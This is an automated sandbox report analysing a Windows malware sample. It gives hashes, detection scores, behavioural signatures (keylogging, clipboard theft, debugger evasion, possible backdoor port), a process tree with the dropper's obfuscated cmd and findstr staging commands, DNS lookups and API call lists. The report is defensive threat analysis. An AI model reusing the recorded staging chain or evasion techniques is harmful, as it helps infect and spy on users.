Edit tour

Windows Analysis Report
Tt843YGUx5.exe

Overview

General Information

Sample name:	Tt843YGUx5.exe renamed because original name is a hash value
Original sample name:	0d6bbe5907ca581fec7c452793aa1257.exe
Analysis ID:	1610406
MD5:	0d6bbe5907ca581fec7c452793aa1257
SHA1:	103b6e60ec864afc723f9fd0f8c29f91a0fcc4c7
SHA256:	a1734a3cebd107003588c3b860dd235827515439325aa5bd07dbe3e798cd2e48
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	80
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Contains functionality to register a low level keyboard hook

Drops PE files with a suspicious file extension

Joe Sandbox ML detected suspicious sample

Obfuscated command line found

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Tt843YGUx5.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\Tt843YGUx5.exe" MD5: 0D6BBE5907CA581FEC7C452793AA1257)

cmd.exe (PID: 7008 cmdline: "C:\Windows\System32\cmd.exe" /c cmd < Seminato.vstm MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7104 cmdline: cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7156 cmdline: findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

Inebriarti.exe.com (PID: 6164 cmdline: Inebriarti.exe.com A MD5: C56B5F0201A3B3DE53E561FE76912BFD)

Inebriarti.exe.com (PID: 4192 cmdline: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com A MD5: C56B5F0201A3B3DE53E561FE76912BFD)

findstr.exe (PID: 2200 cmdline: findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

Bonta.exe.com (PID: 2032 cmdline: Bonta.exe.com m MD5: C56B5F0201A3B3DE53E561FE76912BFD)

Bonta.exe.com (PID: 2104 cmdline: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com m MD5: C56B5F0201A3B3DE53E561FE76912BFD)

findstr.exe (PID: 1440 cmdline: findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

Pensiero.exe.com (PID: 2196 cmdline: Pensiero.exe.com E MD5: C56B5F0201A3B3DE53E561FE76912BFD)

Pensiero.exe.com (PID: 6496 cmdline: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com E MD5: C56B5F0201A3B3DE53E561FE76912BFD)

PING.EXE (PID: 2496 cmdline: ping 127.0.0.1 -n 30 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Tt843YGUx5.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Tt843YGUx5.exe	Virustotal: Detection: 31%			Perma Link
Source: Tt843YGUx5.exe	ReversingLabs: Detection: 44%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.1% probability

Source: Tt843YGUx5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00409054 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	0_2_00409054
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00403186 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	0_2_00403186
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00402A8E FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_00402A8E
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00402B9F FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	0_2_00402B9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C494A GetFileAttributesW,FindFirstFileW,FindClose,	5_2_007C494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_007C4005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_007CC2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CCD14 FindFirstFileW,FindClose,	5_2_007CCD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_007CCD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_007CF5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_007CF735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_007CFA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_007C3CE2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB494A GetFileAttributesW,FindFirstFileW,FindClose,	7_2_00AB494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00AB4005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	7_2_00ABC2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	7_2_00ABCD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABCD14 FindFirstFileW,FindClose,	7_2_00ABCD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00ABF5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00ABF735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	7_2_00ABFA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00AB3CE2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0043494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00434005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00434005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0043C2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043CD14 FindFirstFileW,FindClose,	11_2_0043CD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_0043CD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0043F5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0043F735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0043FA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00433CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00433CE2

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30

Source: unknown	DNS traffic detected: query: OreSqbuLLIH.OreSqbuLLIH replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: NiXfPuxauHolCHyB.NiXfPuxauHolCHyB replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: OEEMOUIIEJHDT.OEEMOUIIEJHDT replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007D29BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

5_2_007D29BA

Source: global traffic	DNS traffic detected: DNS query: OEEMOUIIEJHDT.OEEMOUIIEJHDT
Source: global traffic	DNS traffic detected: DNS query: NiXfPuxauHolCHyB.NiXfPuxauHolCHyB
Source: global traffic	DNS traffic detected: DNS query: OreSqbuLLIH.OreSqbuLLIH

Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000000.1685542446.0000000000829000.00000002.00000001.01000000.00000005.sdmp, Bonta.exe.com, 00000007.00000002.1753768535.0000000000B19000.00000002.00000001.01000000.00000006.sdmp, Inebriarti.exe.com, 00000008.00000002.2923052469.0000000000829000.00000002.00000001.01000000.00000005.sdmp, Bonta.exe.com, 0000000A.00000000.1689206168.0000000000B19000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_004083CB SetWindowsHookExW 00000002,Function_0000839D,00000000,00000000

0_2_004083CB

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007D4632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

5_2_007D4632

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007D4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	5_2_007D4830
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AC4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	7_2_00AC4830
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00444830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	11_2_00444830

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

5_2_007D4632

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007C0508 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

5_2_007C0508

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007ED164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	5_2_007ED164
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ADD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	7_2_00ADD164
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0045D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	11_2_0045D164

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007C4254: CreateFileW,DeviceIoControl,CloseHandle,

5_2_007C4254

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007B8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

5_2_007B8F2E

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	5_2_007C5778
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	7_2_00AB5778
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00435778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00435778

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00405420	0_2_00405420
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040A840	0_2_0040A840
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00413821	0_2_00413821
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_004189E1	0_2_004189E1
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040A1A0	0_2_0040A1A0
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00418200	0_2_00418200
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040EA30	0_2_0040EA30
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00418ABB	0_2_00418ABB
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00409B50	0_2_00409B50
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040BB80	0_2_0040BB80
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00418D53	0_2_00418D53
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00409D00	0_2_00409D00
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040AF00	0_2_0040AF00
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_0040AF04	0_2_0040AF04
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0076B020	5_2_0076B020
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007694E0	5_2_007694E0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00769C80	5_2_00769C80
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007823F5	5_2_007823F5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007E8400	5_2_007E8400
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00796502	5_2_00796502
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0079265E	5_2_0079265E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0076E6F0	5_2_0076E6F0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078282A	5_2_0078282A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007989BF	5_2_007989BF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00796A74	5_2_00796A74
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007E0A3A	5_2_007E0A3A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00770BE0	5_2_00770BE0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078CD51	5_2_0078CD51
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007BEDB2	5_2_007BEDB2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C8E44	5_2_007C8E44
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007E0EB7	5_2_007E0EB7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00796FE6	5_2_00796FE6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007833B7	5_2_007833B7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0077D45D	5_2_0077D45D
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078F409	5_2_0078F409
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00761663	5_2_00761663
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0077F628	5_2_0077F628
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007816B4	5_2_007816B4
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0076F6A0	5_2_0076F6A0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007878C3	5_2_007878C3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00781BA8	5_2_00781BA8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078DBA5	5_2_0078DBA5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00799CE5	5_2_00799CE5
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0077DD28	5_2_0077DD28
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078BFD6	5_2_0078BFD6
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00781FC0	5_2_00781FC0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A5B020	7_2_00A5B020
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A594E0	7_2_00A594E0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A59C80	7_2_00A59C80
